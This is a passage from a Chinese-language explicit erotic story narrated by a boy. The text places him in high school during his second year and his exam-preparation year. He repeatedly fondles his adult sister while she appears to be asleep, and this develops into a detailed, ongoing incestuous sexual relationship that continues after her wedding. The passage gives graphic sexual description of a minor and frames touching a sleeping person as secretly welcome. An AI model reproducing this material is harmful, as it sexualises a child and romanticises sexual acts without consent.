而这时姐姐的内裤被拉开着,阴部正暴露着!
「小虎……」爷爷又叫了。
这时发生的事情把我吓的差点坐在地下,姐姐突然很快的翻身面朝里了,而
且两条腿交叉着遮住了刚才暴露出来的阴部!!我心都快跳出来了!我顾不上多
想,赶紧退出房门,把手上的黏液蹭在短裤上。
我假装刚睡醒的样子,打开房门,睡眼惺忪的对爷爷说,「爷爷,叫我什么
事啊……」
「爷爷出去和你胡爷爷下棋,你下午在家复习复习功课,还有一年就要高考
了……你姐最近上班挺累的她睡觉你别打扰她。」
「知道了爷爷……」
我看着爷爷走了,回去躺在大屋自己的床上,回想起刚才姐姐翻身的一幕,
不禁有些不寒而栗!我反复回忆当时的细节,先是我第一次摸她阴部的时候她好
象轻微的震了一下,接着是姐姐在爷爷第二次叫我的时候是突然翻身转向里面,
而且双腿夹住正好把暴露出来的阴部遮住了。如果她刚才是睡着的,不可能翻身
那么快!难道姐姐刚才被我弄醒了?
回想起最近姐姐的阴部有时干有时湿,难道姐姐刚才一直都是醒着的?那以
前呢?我往姐姐房间看了一眼。刚才情急之下连门都没关。
姐姐还保持着刚才翻身后的姿势没动。我蹑手蹑脚的走过去关上门,心想,
现在怎么也不敢再摸了,晚上再说……
当天晚上,我等了很长时间,我在做激烈的思想斗争。姐姐已经发现了吗?
她顾及姐弟之情没有揭穿我?不象。还是我误会了,她根本不知道,翻身只
是巧合?也不象。
我越想越觉得是最后一种情况——就是姐姐其实知道我在摸她,也许早就知
道,可能女人在动情的时候阴部会分泌出那些黏液吧。
那么照这么说,姐姐早就希望我弄她了?我思前想后,觉得这种可能性最大。
糟了,如果这样,我在这里犹豫了这么久,姐姐一定等着急了。想到这里,
我决定今晚要冒险采取更深入的行动。
我没拿手电筒,而是直接推开大姐的房门,拉开灯。我还从来没有大胆的拉
开灯去偷摸姐姐,因为怕大姐会因此醒来。但今天不同了。我既然认定很可能姐
姐经常是故意假装睡觉来让我摸,我就不再怕她会突然「醒来」了。
而刚一开灯我就发现姐姐居然没穿背心,只穿了个宽松裤衩,光着上身平躺
着。
这是我第一次看到姐姐睡觉不穿背心,而以前我都能摸到背心。联想起去年
姐姐突然改变了插门的习惯,还有更早,我不小心在偷看她洗澡的时候头碰响了
门她愣了一下,从那以后她出门倒水就不穿背心了。还有,她大多数时间我偷摸
她她下面都是湿的……
还有今天下午午睡时发生的状况。我越来越断定姐姐是假装睡觉其实是在享
受我摸她。拿定了主意,我走过去,大胆的亲吻,吮吸姐姐的奶头。
我一边吃奶,一边手拉开姐姐的裤衩摸她的阴部,果然还是湿的。我观察着
姐姐表情的变化,从细微处我看的出她有些不安和骚动,但咋看来还是象在睡觉。
我已经有九成的把握姐姐是在假装睡觉了。我作了个更大胆的举动。我要脱
掉姐姐的裤衩,让她全部裸露。
我知道这样是背水一战,我清楚,万一我误会了姐姐,其实她是真的睡觉而
并不知道我在玩她,我脱掉姐姐的裤衩可就没办法再给穿上了。我定了定神,决
定冒这个险。我尽量轻轻的,缓慢的把姐姐的裤衩向下拉。
当阴毛已经露出来的时候,拉不动了。姐姐的屁股压着裤衩。我开始从下边
拽,我尽量缓慢的拉,终于,拉过了屁股,一下子就脱了下来。我向后退到门口,
全裸的我的亲生姐姐就展现在我面前!
我这时突然害怕起来,因为我已经没有退路了,再想给姐姐穿上裤衩已经不
可能了。我一边欣赏着看起来那浑然不觉的刚刚被我扒光的姐姐,一边从内心说
服我自己,一不做二不休。而插她似乎不可能。
她一定会疼的「醒」过来。我决定模仿在小强家看的黄色录像带上的镜头,
用舌头舔姐姐的下身。
我慢慢的走到床尾,轻轻的把姐姐的腿分开了一些。我慢慢的趴了下来,脸
慢慢的凑近姐姐的阴部。我看的出那里有很多黏液。嘿嘿,我心中暗笑,姐姐很
可能知道现在正在发生什么,但现在,不管她是希望这样,还是被迫碍于姐弟感
情不敢发作,总之我现在什么都不顾了。
我轻轻的舔了一下姐姐的阴部,发现姐姐又轻轻的震了一下,不管这是梦中
受到刺激的反应还是她真的其实醒着,我不管那么多了,高涨的欲火使我此时不
顾一切的象狗一样趴在床尾舔食大姐的阴部,而姐姐不时的会突然抽搐一下,我
舔的更凶了,把舌头伸进那窄缝里面试图舔姐姐的阴蒂和阴道口。
姐姐抽搐的更频繁和剧烈了,臀部也开始有些痉挛,动作很小的扭动着屁股,
呼吸也好象急促了起来。我看到姐姐真的有了反应,更加欲火中烧,我把整个脸
都埋在了姐姐的阴部,疯狂的摩擦,舔食,倾吞着姐姐阴部那不断流出的黏液…
终于,姐姐猛的用大腿夹住了我的脸,上身猛的抬起,抓住我的头发,喘着
粗气,叫了一声:「……啊,小虎……」
姐姐终于「不打自招」了,而我的欲望达到了顶峰,更加疯狂的把脸埋在姐
姐紧夹的大腿根部中疯狂的扭动……
终于,在我和姐姐近乎癫狂的一阵扭曲后,姐姐松开了紧夹的大腿,倒在了
一边,我也已经把精液全都射在了姐姐的席子上。我无力的喘着粗气,躺在姐姐
身旁,一边慢慢平复激动的心情,一边等待姐姐的宣判……
一会,姐姐慢慢的转过脸来,我满脸都是黏液干了以后的污垢,窘的无地自
容,我小声的叫了声:「姐……」
姐用手捂住我的嘴,叫我别说话,然后扑上来抱住了我……
良久,她才慢慢的松开我,我起身关了灯以便我们没有那么尴尬,再躺下来
搂住姐姐大光滑的腰,悄悄的说:「姐,你是不是早就知道我偷偷的摸你……」
大姐娇羞的把脸埋在我的怀里,虽然我看不到她的脸是不是红了,但从温度
上已经断定大姐早已经羞红了脸……过了一会,大姐终于说话了:「小虎,姐知
道你喜欢姐,姐也喜欢你,但咱俩是姐弟,姐又是女孩子,不好开口……」
我暗自庆幸自己一段时间以来的正确决定。姐姐接着说:「以后,姐还是你
的好姐姐,你也还是我的好弟弟。以后不要弄的很晚,不要影响学习……」
姐姐说这番话的时候声音又小有别扭,一定是很害羞的。
「还有,姐是处女,以后总要结婚的,你答应姐,不许『那个……』」
「什么『那个』呀?」我故意装傻的问。
姐姐用手轻轻的碰了一下我已经再次勃起的阴茎,说了声:「讨厌……明知
故问。」就羞的把脸转到里边去了。
我坏笑着起身把脸凑到姐姐耳旁,阴茎故意顶住姐姐的腰,悄悄的问:「那
我这里怎么办呀?」
「以后再说……」
姐姐害羞的轻轻说。我听着姐姐这么温柔娇羞的跟我说话,忍不住动情的又
和她乱做一团……
终于,在弟弟对姐姐连撒娇带挑逗之下,姐姐半推半就的把我的阴茎含在了
她温润娇美的樱桃小口中……
那一刻,我感觉自己飞了起来……那感觉真是无比的美妙,大姐温柔的含着
我的阴茎吮动着她娇小的嘴唇,我长长的吸了一口气,享受着这天伦之乐……
终于,我滚烫的精液全部的射进了大姐的嘴里……
从那天起我和姐姐正式确定了乱伦关系。我们白天是姐弟,晚上是「夫妻」,
只不过姐姐坚决不让我「那个」她,说她将来要结婚的,不想结婚前把处女膜搞
破,所以我对她的处女膜最过分也就是用舌头尖舔舔。
几天后,父母从外地回来探亲住了将近一个星期,我和姐姐也只好暂时分开。
送走了父母,我和姐姐从火车站往回走,一想到晚上又能和姐姐「睡觉」了,
我不禁心潮澎湃,我和姐姐一路嬉笑打闹,互相咯吱,笑作一团,而这在外人看
来只是姐弟之间正常的亲昵动作,在我和姐姐之间已经有了更深的含义。
走进院子门口,爷爷正在下棋,看到我和姐姐走进来,说道:「你们爸妈送
走了!你们先回去吧,现在还早,不着急做饭。」
我们答应着。我赶着跑回家,而姐姐则故作矜持的慢慢往回走。毕竟是20
岁的大姑娘了,不能跟个小孩子似的。进了大屋,我坐在写字台前,等着姐姐进
来。
她刚进来,我就一把把她拉过来坐在了我腿上,一边摸着她的奶,一边说:
「姐,我一直有个问题要问你,你是从什么时候开始想让我进你的屋子『那个'
的?」
姐姐抓着她胸脯上我的手一把甩开,说:「讨厌……」
就想站起来,我一把抱住她的腰,说:「不嘛,我要你说……」
她不说,我不放她走。她脸一下红到脖子根。
她没有说话,而是拉开我的抽屉,找出计算器,随意的按着按钮……
「哦!……我知道了!」
原来就是从半年前大姐借我计算器的那天,她已经故意不插门等我进去「玩」
了,而她那次借计算器是故意找借口让我推门进去!
哈哈!我接着指着她房间门上的裂缝:「那你知不知道我看你洗澡?」
姐姐用头亲昵的向后顶了一下我的头:「小鬼,是不是有一次不小心头碰了
门了啊?……」
哈哈,我全明白了,怪不得她听到响声一愣之后也没出来看,而且从那天起
她擦下身都是对着门的方向叉开腿,还有出门倒水也不穿背心了!
「嘿嘿,姐你不害臊……」
姐姐暴露了一年来她最深的隐私,羞的挣脱我的手,跑进她的闺房。而我当
然跟着冲进去,一把将姐姐按在了床上……姐姐的脸红的象个西红柿,闭着眼睛
不好意思看我。
而这娇羞动人的一刻更挑逗起了我狂野的情欲:「姐,其实我初中毕业那年
暑假,就已经开始看你洗澡了……」
「姐,爷爷说不着急,等会再做饭……」便又和姐姐爽作一团……
高二那年的暑假,我和姐姐几乎夜夜春宵,开学上了高三,因为还有不到一
年就要高考了,虽然我学习成绩一直不错,但毕竟每天和姐姐玩太费精力,终于,
几个月后,在冬天一个寒冷的夜晚,我和姐姐采用「69」的方式痛痛快快的口
交了以后,我和姐姐拥抱着躺在被窝里,姐姐开始跟我谈话了。
「小虎,还有半年就要高考了。」
我知道这一天终于来了,姐姐可能要拒绝再和我玩儿了。我撅着嘴,不高兴
的样子看着姐姐。
「你听我说小虎,咱们这儿有一所大学叫**大学你知道吗?是省重点。姐
姐小时候就很想上那所大学,但姐姐学习不好,高中毕业后就上班了。」
当时姐姐早已经开始谈恋爱了。我也知道,我和姐姐再怎么亲热,她总要谈
恋爱的,也总要嫁人的,虽然我有一点吃醋,但没办法,姐姐对我那么好,我还
有什么说的呢?
姐姐接着说:「我希望你能考到那所大学,姐知道你的心思,姐也舍不得你
到外地去上大学,那样咱俩就不能在一块了。还有就是,姐明年国庆节就要结婚
了,你未来姐夫把房子已经买好了,一开春就装修。那所房子离那大学不远。」
我一听这话心中暗喜,姐姐不会抛弃我的,就算结婚也还想着我。
「姐知道,你一直都想跟姐『哪个』,姐不是不愿意,姐也想跟你『那个』,
但姐是处女,你未来姐夫也挺在乎这个,要是姐现在给了你,以后姐的日子就不
好过了。为了姐的幸福,我知道你一直很乖,没有弄破姐的下边。」
姐姐说着,脸有些红。
「你放心,姐不会不要你的,等姐结婚以后,只要你姐夫出差不在家,你想
『那个』姐多少次都行……」
未来姐夫是做生意的,我见过几次,比我姐大5岁,经常出差,工作特忙。
姐姐接着说:「姐想让你考**大学,就是想以后咱俩能离的近点,你方便
来姐家里玩。」
终于明白了大姐的心思!原来她是这样的细心,这样的爱我……我一想到大
姐一结婚,我就真的可以上她了,不禁激动的把手伸下去摸她的阴部。
「**大学是省重点,要考进去也不容易,姐知道你学习一直都好,但这半
年时间对你太关键了。姐不想耽误了你学习。听姐的话,今天最后一次,从明天
起,晚上别进来了,好好休息好吗?等你高考完了,姐让你玩个够……」
姐姐说这话的时候,脸已经羞的通红。原来我的姐姐是这样的细心,早就做
好了安排,想和我长久的乱伦呀!我不禁对姐姐对我的感情有了新的认识———
—姐姐对我实在太好了!
「姐……」我动情的把身子压到了姐姐身上,一边亲,一边说:「姐……我
舍不得你……」
「姐知道你舍不得姐,姐也舍不得你,但你要知道,只要苦熬过这半年,今
后就好了……」
「姐,我答应你,从明天起我不进来了,我好好休息,好好复习,我一定不
辜负你的爱,我一定考上**大学!」
「这姐就放心了……」
「姐,今天最后一晚上了……」
「姐知道,最后一次……」
姐姐费力的顶开厚重的棉被,把头伸进去,一边用嘴含住我的阴茎,一边把
腿分开骑在了我脸上。高考前的最后一次了,我和姐姐动情的吮吸着对方的生殖
器,两腿越夹越紧……
之后的几个月,我努力的克制自己的情欲,努力的学习,把以前用来和姐姐
嬉戏玩闹互相享受肉体的时间都用来复习功课了。而细心的姐姐怕伤我的心,所
以一直没有插门。有几次忍不住,我放下书,进去摸一会姐姐的屁股,我知道姐
姐也想我,睡不着,但她从来不拒绝我,假装睡着了。
她知道我会顾全大局克制自己的。有时实在都受不了了,但看见姐姐亲手做
的挂在她床头的「距高考还有***天」和贴着**大学校门口照片的牌子我就
立刻收敛起性欲,毅然投入到火热的复习备考中……
无比煎熬的几个月终于过去了!7月9日下午,考完了最后一门,爷爷在考
场门口等我,我高兴的拉着爷爷的手,没等他张口问我我就连忙说:「没问题!
没问题!」
我考了三天,爷爷顶着大太阳在门口陪了三天。姐姐因为请不到假,没办法
来看我。但我知道到了晚上……
我虽然归心似箭,但我不能撇下爷爷自己骑车回家,况且姐姐还没下班呢。
几个同学叫我去打篮球,我都拒绝了。因为我晚上有更精彩的节目……
没想到回到家,父母意外的出现在我面前!不是说过两天才能回来吗?我先
一愣,马上回过神来。他们在电话里已经听说我前几门考的不错,特意提前赶回
来祝贺我。当姐姐兴冲冲的下班回家时,看到父母已经回家了也是一愣。
虽然当天是个高兴又团圆的好日子,爸爸把全家带到酒楼大吃了一顿海鲜,
我们也都很开心,但隐隐的有些遗憾,我其实今天更想吃的是姐姐裙子下面的
「海鲜」,但看来只能再忍几天了……
父母住了三天,终于要走了。他们9月底还回回来,除了参加国庆节姐姐的
婚礼,还有一件重要的事要办,就是年底前我们这里的平房要拆迁,父母没时间
特意回来搬家,想到时候租个房子让我和爷爷暂时住,再雇个保姆照顾爷爷和我。
等楼房盖好了再说。本来父母想让我填报志愿的时候也考虑他们所在的城市,
但将在外,军令有所不受。
我为了不离开姐姐,除了第一志愿是我和姐姐商量好的**大学以外,其他
志愿也全填的本市的。父母离开的当天晚上,我除了和姐姐疯狂的亲嘴疯狂的吃
她的奶以外,几乎整个晚上都是和她采取「69」的姿势睡着。
我们半年时间没有那么爽了,当晚一夜没睡,一共爽了三次,弄的我和姐姐
都是满脸黏糊糊的,直到实在筋疲力尽了,天已经麻麻亮了,院子里的公鸡已经
打鸣了。我和姐姐就那样互相脸贴着对方的生殖器,沉沉的睡去了……
我如愿的收到了**大学的录取通知书,而暑假的后半段时间,姐姐开始忙
于和未来姐夫采购电器,家具,布置新房,有时也回来的很晚,但我俩晚上的节
目少不了,有时白天姐姐实在累的不行了,晚上就脱光了衣服躺在床上睡觉,让
我自己一个人玩她,并叮嘱我千万小心不要弄破了处女膜。
那时姐姐已经辞职不上班了,准备婚后作个家庭主妇,反正未来姐夫不缺钱,
而我这个小舅子也因此得到不少好处。我上大学用的那个值两千多的随身听就是
姐夫送的。
我终于入学了,也住校了,只有星期六晚上可以好好的玩姐姐了。而因为学
校和姐姐的新房不远,下午没课的时候,我会跑去新房玩,姐姐一个人在的时候,
当然少不了在她的全新的大床上搂抱亲嘴,但不敢脱衣服,因为未来姐夫会随时
买新的东西回来。
有时我正在和姐姐亲嘴,听到门响马上分开,然后未来姐夫会买一些高档好
看的摆设,放在那里他们俩品头论足一番,快结婚了嘛,当着小舅子也难免有些
不太出格的亲密动作,而我此时又嫉妒有好笑,好笑的是刚才姐姐还在和我亲嘴,
现在又和另一个男的——她的未婚夫手拉着手……
星期六晚上在家里,我也仔细的检查过姐姐的阴部,确定姐姐的处女膜还是
完好的,他们并没有发生关系。我一想到这处女膜再过几天就要被那个男的弄破
了,不禁有些失落————本来完全属于我的女人——我的姐姐,过几天却要委
身于那个男的……这个差不多被我舔遍了的处女之身,再过几天就要被别人给改
造了……
我越吃醋,玩姐姐也玩的越带劲儿,哼哼,让我先玩个够。但我一想到只要
姐姐的处女膜让姐夫一破,渡完蜜月,我也就可以随便的捅了!哈哈,我再忍几
天吧!
我吮吸着姐姐的乳头,悄悄的问:「姐,过几天就要洞房了,有什么感受呀?」
「去你的……」姐姐害羞的说。
我怕姐姐忘了我们的约定,故意骑上她的身子,假装很夸张的在抽插着她,
一边说:「过几天我也该和你」洞房「了,别忘了呀姐……」
「忘不了!小鬼……」姐姐捏了一下我的鼻子,调皮的说。我们随即又爽作
一团……
婚礼那天,人来的特别多,姐夫的亲戚朋友还真不少,而我家这边人不多,
除了从外地赶回来的父母、我和爷爷,也就几个院子里关系好的邻居,我的几个
要好的高中同学和姐姐的几个闺中密友。
上午姐夫他们来接新娘的时候,我和小强他们负责堵大屋的门,姐姐在她的
闺房里,她的朋友们堵里边的屋。姐夫很干脆,我收了很丰厚的红包。
看着姐夫带着一群小伙子在挤那个我平时出入自如的姐姐的房门,看着那个
门下边我曾经偷看姐姐洗澡的裂缝,我呆呆的站在那里,若有所失……
房门终于被挤开了,那个曾经阻拦我进入姐姐闺房的门闩,那个曾经允许我
进入的打开的门闩,那个我曾经魂牵梦绕的门闩,那一瞬间被挤的变形了,无辜
的歪在那里……
姐姐今天特别漂亮,娇羞的面容映着洁白的婚纱,更显妩媚动人。
大伙一轰而出,我却悄悄的走到姐姐闺房的里面,看着那我曾经战斗过的床,
看着那永远停止在「距高考还有1天」的牌子,看着那被挤的变形的门闩,我的
眼眶有些湿润,我的好姐姐,曾经在这里生活的姐姐,曾经在这里脱光了洗澡还
被我偷看的姐姐,曾经在这里假装睡觉被我偷摸也不吭气的姐姐,曾经终于和我
在这里确定了乱伦关系的姐姐,曾经在这里和我海誓山盟永不分离的姐姐,曾经
在这里勉励我好好学习的姐姐,从今天起,就要睡在另外一个男人身边,被他亲,
被他摸,被他舔,被他玩,被他干……并永远的不会再是处女了……
我呆呆的望着床,回忆我和大姐在这里的幸福时光,泪水夺眶而出……婚礼
上,好不热闹,姐夫的亲戚朋友在台上开着两个新人的玩笑,一会碰头,一会介
绍恋爱经过,一会让姐夫亲姐姐……而我,却躲在角落里,默默的祝福着我的好
姐姐,好人有好报,愿姐姐永远幸福……
当晚,我第一次名正言顺的睡在了姐姐的床上,父母在我的床上早已入睡了。
可我那夜失眠了,我在想,这会儿,姐夫在对姐姐做什么?已经弄进去了吗?
已经破了吗?他会象我一样,温柔的舔吗?他吃姐姐的乳房吗?他会……他
会让大姐性福吗?还有,我的好姐姐,你疼吗?你快乐吗?
你幸福吗?你会象对我一样温柔的给他口交吗?还有……你想我吗?我的泪
水早已打湿了枕头,而精液同时也洒在了地下……
国庆三天假期结束了,我回了学校,父母张罗着搬家和找保姆,而那个被挤
歪了的门闩被我悄悄收藏起来,和几根姐姐还是处女时脱落的阴毛放在一起,成
为我和姐姐处女时代永远的纪念……姐姐和姐夫去外地渡蜜月了。
我在学校里,和往常一样上课、去食堂、自习、图书馆、打篮球……心里却
在憧憬着即将到来的我的「洞房」……
他们终于回来了,而我在他们回来的第二天下午,就去了姐姐家。我是他们
蜜月旅行回来后的第一个贵客。看的出姐夫很疼爱姐姐,而爱屋及乌,姐夫对我
也很不错。
丰盛的晚餐当然少不了,而在他们家除了姐姐我最大的兴趣就是摆弄他们的
那些高档电器。我悄悄的察言观色,暗示姐姐,什么时候能和我「洞房」?
我感觉姐姐婚后有些变了,不象以前那样和我频繁的眉目传情和用眼睛对话
了,我用眼睛暗示她的时候她不是打岔说让我吃点什么菜,就是看着别的地方说
别的事。
我怀疑姐姐婚后对我变心了,但我也知道可能是因为有姐夫在场,姐姐不敢
和我交流「那个」方面的信息。
一会,电话响了,姐夫放下筷子去接。我轻轻的在桌子下面踢了一下姐姐的
脚,姐姐看看我又瞟了一眼姐夫那边,做了一个「嘘……」的动作。
我放心了,只是因为姐夫在场,而并不是姐姐婚后变卦了。「恩……恩……
那我明天亲自去一趟,你给我订明天的机票……「
我注意到姐夫的电话内容可能是要出差,坏笑着看了一下姐姐,姐姐也正好
看了我一眼。这时姐夫挂断电话过来了。
「怎么刚回来就要出差了?」
「是呀,没办法,十几天没去公司了,很多事都压下来了,明天要去趟上海,
大概得4——5天吧。」
我一听不禁暗自狂喜,但表面上很平静,「姐夫这么忙呀?」眼睛却盯着姐
姐。
「是呀,没办法呀……!」
吃完了饭,我本来计划在他们家玩一会,摆弄那些高档电器,看他们新买的
家庭影院,顺便找机会和姐姐说点悄悄话。但因为知道了姐夫明天要出差,我明
白他们是新婚,如果今晚不让姐夫把我姐玩儿痛快了,他是不会安心出差的,而
只有他安心的出差去,我才有机会和姐姐「洞房」呀。
「怎么小虎着急走呀?没事再玩一会吧?」
「不了姐夫,我学校还有点事。」
我推脱着想赶紧走以便赶快给他们留下二人世界。
「那好,让你姐送送你吧,我得打几个业务电话就不送你了。」
和姐夫告别,我和我姐出了门。
「姐……」
我正不知道如何开口,姐姐说话了:「小虎,明天你姐夫出差,你下午下课
过来吃饭吧。」
由于小区里不时有人走动,姐姐说着这句冠冕堂皇的话以掩人耳目,但我明
白其中含义。走到一个没人的地方。
我一把抓住姐姐的手,说:「姐……」姐姐挣脱我的手,小声说:「好了知
道了,小心别人看见,你明天下午来早点……」
当晚,躺在宿舍的床上,我久久无法入睡。一方面,明晚我就要和我的亲姐
姐洞房了,我激动的无法入睡。一方面,我想象着,明天,刚刚新婚不久的姐夫
就要暂时离开他的娇妻了,今晚,他会怎样激烈的玩我姐姐?本来,我越想越兴
奋,就要手淫了,但我忍住了。我想,我要多留些精液给姐姐……
第二天上课,我的注意里怎么也无法集中,满脑子都是「洞房」,甚至下午
上课我都拿错了书。下午一下课,我让室友帮我把书捎回宿舍,就直接去了公交
车站。
中午,我已经给姐姐打过电话了,姐夫上午就走了。我可以随时去找姐姐了。
到了姐姐家,她刚给我开门就马上冲进厨房,原来她正在做饭,煤气灶上放
着菜呢。我来到厨房,想从后面抱住姐姐亲热一下,但姐姐让我先去洗澡。
看到姐姐准备的丰盛的晚餐和一瓶红葡萄酒,我暗自得意,原来不但今晚要
「洞房」,还有「婚礼」呢!既然姐姐这么有情调,我就先不要乱来,先把自己
洗干净再说……
我进了卫生间,发现洗澡水都放好了,我脱光了衣服躺了进去,看着自己在
水下晃动的阴茎,一想到过一会这玩意儿就要插进姐姐的阴道了,阴茎又不自觉
的硬了……
毕竟不是夫妻,晚餐虽然丰盛但并没有什么烛光,红葡萄酒也是随便的喝着。
但这并不重要。我知道大姐很爱她的丈夫,和我之间是姐弟之情,姐弟之性,
不会和我烛光晚餐和有情调的喝红葡萄酒。这些都不重要,重要的是等一会儿…
晚饭后,姐姐先去洗澡,而我想跟她一起洗被拒绝了,说以后有机会吧。我
想反正你也逃不出我的手掌,呆会儿还不是得脱的光光的让我看。我坐在那里看
电视。
一会,大姐包着浴帽,裹着浴巾出来了。她坐在了我身边,我刚要扑上去拉
开她的浴巾,她却制止了我:「小虎,姐有话跟你说。」
我吓了一跳,以为姐姐结了婚,真的对我变心了?娶了媳妇忘了娘?嫁了老
公忘了弟弟了?
「姐,你答应过我的……」
「姐不会忘了的,姐答应过你的一定会给你的。你想不想永远和姐好?」
「当然了姐,我永远都要你,姐……」
「那你结婚以后呢?」
「我结婚以后也要你,我一辈子都要你!」
「那好,姐也是这么想的,但要想咱俩永远都能在一起,必须约法三章」
「什么三章,你说吧!」
「第一……」
大姐取出一个小盒子,递给我,盒子上印着一男一女半裸着身子抱在一起,
下面的字是「***双重安全避孕套……12只装」
「第一,你知道姐不能怀你的孩子……」
「这我懂,我们生物课上学过,我要是和你生孩子,不是傻子就是畸形」
「好」,姐姐说,「所以你和我每次都要用这个,这个你收着,锁在你箱子
里,放在姐这里不安全,怕你姐夫发现……」
「好!」其实我也不愿意我的精液和我姐夫的精液混合着都灌进姐姐的阴道
……我痛快的答应了,「那第二呢?」
「第二,咱俩的事只能咱俩知道,任何人都不能知道,尤其是你姐夫。你要
保证绝对不冒险,你姐夫在家的时候不许跟我眉来眼去,不许碰我明白吗?你以
后结婚了我也会注意的,咱们俩互相都不能破坏对方的家庭,还有就是在公共场
合尤其是我们这个小区你不能对我过分亲密……」
「这我明白,我记住了,那第三呢?」
「第三,我过一两年可能就会怀孩子,我怀孕期间你就不能『那个』了,只
能『那个』……」
我明白姐姐说的第一个「那个」是指性交,而第二个「那个」是指口交。但
我故意逗姐姐:「什么『那个』『那个』的,什么意思呀?」
姐姐羞红了脸,「哎呀你真笨,就是不能这样(指自己的下体)只能这样
(又指指自己的嘴)」,姐姐这样直接的比划着,更加害羞了,「你讨厌,小虎」
我看到姐姐羞红了脸,一下子抱住姐姐,象抱小孩一样的往卧室跑。姐夫和
姐姐的卧室布置的很有情调,宽大的席梦思床更让我心驰神往……我一把将姐姐
扔到床上,扑上去准备亲,姐姐轻轻的用手堵住我的嘴:「刚才说的三点都记住
了吗?」
「记住了,总之『安全第一』对不对?『小心使得万年床』嘛(当时我也不
知道怎么就把」船「字换成了」床「字,呵呵我真是天才!)」
「你说刚才说了几点?」
「三点……」
「哦,明白了,是不是这三点?」我动了动大姐的两个乳房又把手伸下去摸
了一下下边,「是不是这三点?」
「讨厌……」
我和姐姐动情的扭作一团。随着我和姐姐在床上翻滚,姐姐身上的浴巾完全
脱了下来,原来姐姐里面什么都没穿呀!我三下五除二的把自己也脱光了……
我拉着姐姐的脚把姐姐摆到床边,那是以前我为她口交的姿势,我打开大灯,
因为以前经常开着灯玩,所以姐姐并没有拒绝我开灯。我跪下来,分开姐姐的大
腿,想把已经不是处女的姐姐的下体看个清楚。
我发现以前一直是一条缝的姐姐的阴部现在已经张开了,不象以前那么娇小
和令人怜爱了,阴道也开了,处女膜被撑的只剩下阴道口边缘的一点点痕迹了。
姐姐的下边不断有黏液流出来,但这种以前我最爱吃的东西——姐姐的黏液,
现在看起来没什么胃口了,因为我知道这里已经被姐夫给污染了,我可不想吃哪
怕是残留的一点姐夫的精液。
姐姐虽然没有说话,但一定能理解我不愿意给她口交。我再次和她亲嘴,抓
她的乳房,吃她的奶头,咬她的屁股,用手指轻轻的抚摩阴部……姐姐示意我躺
下,把我的阴茎含进嘴里舔了一会,打开那个避孕套盒子,取出一个,撕开包装,
小心的为我戴,整个过程,她是那么的温柔,那么的可爱……
接着,她躺下了,我又是一阵疯狂的亲吻和抚摩,然后,我跪在了她两腿中
间,而姐姐举起了双腿,慢慢的分开……
在我带着套的阴茎移动到姐姐的阴道口附近时,我停了几秒钟,马上,我就
要从一个处男变成一个男人了!马上,我就要把自己的阴茎插进我亲姐姐的阴道
了!马上,我就要真正的和姐姐乱伦了!马上……
姐姐怕我找不到位置,温柔的用手扶着我的阴茎,慢慢的塞进去一点,我怎
么会不知道位置?我都看了多少次了?但姐姐用手扶着我的阴茎找洞口的感觉太
美妙了,我故意假装找不到,姐姐拉着我的阴茎摸索着……
终于,我慢慢的,一厘米一厘米的,把我的阴茎全部塞进了姐姐的阴道……
插进去的一刹那,姐姐呻吟了一声,看着姐姐被我压在身下,插着阴道,我
温柔的亲了亲姐姐那小巧的嘴,开始轻轻的抽插了!!
我越插越兴奋,越插越快,虽然姐姐给我口交过好多次了,但我发现阴道里
的感觉简直太妙了!太刺激了!以前我和大姐69口交,差不多她痉挛的把大腿
夹的很紧的时候,我才会射,要进行十几分钟的,但今天在真实的阴道里,我这
个处男感到刺激太强烈了,没有几分钟,我就隔着那薄薄的避孕套,把精液射进
了姐姐的阴道……
我和姐姐都喘着粗气,我躺下来,完成了我处男的初夜,我和姐姐的「洞房」
仪式过了一会,姐姐帮我把避孕套从已经疲软的阴茎上摘下来,示意我去洗洗,
我说一起去洗吧,这次大姐同意了。原来刚才我想和姐姐一起洗澡,她还没有宣
布「约法三章」怕我不戴套就直接在浴室里上她,现在,我已经贯彻了那三条纪
律,也就可以和姐姐一起洗澡了。
成人后,我还是第一次和女人一起洗澡,虽然对着大姐的裸体已经很多次了,
但「和女人洗澡」这一心理暗示让我马上又兴奋起来。
洗完澡,我又抱起姐姐,扔在了床上,这次我自己学着戴避孕套,我笨手笨
脚的,怎么也戴不上,姐姐经验也不多,我站着的时候我俩手忙脚乱的也没弄好,
最后还是我躺下来,姐姐才给我带上。
第二次和姐姐性交,没有第一次那么刺激了,我坚持的时间长的多了,姐姐
也看起来比第一次享受的多。最后射精的时候,我俩象以前69口交时一样,全
身痉挛的扭抱在一起……我感觉着阴茎在姐姐阴道内的抽动,精液一股一股的流
出,而姐姐扭曲着,痉挛着,狂抓着,我的胳膊上留下了几条姐姐指甲挠出的印
……
再次清洗完身体,我和姐姐全裸着平躺着休息,太累了,但一会我的阴茎又
立了起来。我又爬上了姐姐的身体,抚摩、亲吻、刚要拿避孕套,被姐姐制止了,
我以为姐姐不想要了,结果姐姐示意我站起来,她跪在地下,一口含住我的阴茎。
我看着姐姐跪在那里,回忆起当年我跪着偷摸姐姐的屁股,不禁又兴奋起来。
但我们实在太累了,已经四点多了,我站了一会就站不住了,躺了下来,姐
姐抱着我的屁股也躺了下来,但嘴一直没有松开我的阴茎。姐姐也不愿意我舔被
姐夫污染的她的阴道,没有和我69口交,而是就这样给我口交。
一会,我觉得姐姐的嘴不动了,我也瞌睡的不行,但一会姐姐的嘴又动了,
我也刚迷糊就惊醒了,姐姐也睡不实呀。我们就这样一直保持着这个姿势,一会
儿昏睡,一会她帮我口交,但我的阴茎一直在她嘴里没出来过……
一直到天已经亮了,我猛的醒来发现我的阴茎已经软了但还在姐姐嘴里,姐
姐也半梦半醒的不时的吮吸一会。慢慢的,我的阴茎又硬了起来,姐姐似乎也清
醒了,开始越来越快、越来越强烈的吮吸,终于,我的精液射进了姐姐的嘴里。
姐姐催着我赶快洗澡吃早点上课去,而我一晚上射了三次,有点精疲力尽,
慢吞吞的,有点迷糊的往浴室走,进去以后也是累的坐在浴缸边上打盹,姐姐进
来叫我吃早点,发现我在打盹,着急的怕我上课迟到,跑过来叫醒我,帮我把下
身简单的冲洗了一下,擦干,让我赶快穿衣服。我也清醒了。胡乱吃了点,就往
学校赶。
临出门姐姐叫住了我,「晚上想吃什么?」
「随便……!」
姐姐的意思当然是让我晚上再来。而那一天我上课都昏昏沉沉的,一会儿,
想起昨天晚上我已经把童贞给了我姐姐,一会儿,想起我清晨的时候阴茎曾经连
续三个小时含在姐姐的嘴里。
中午,我没吃饭而是睡了一个中午,可下午还是瞌睡。下课回了宿舍,我也
一头趴在了床上。迷糊了大约十分钟,我发现自己饿了,想起中午没吃饭。
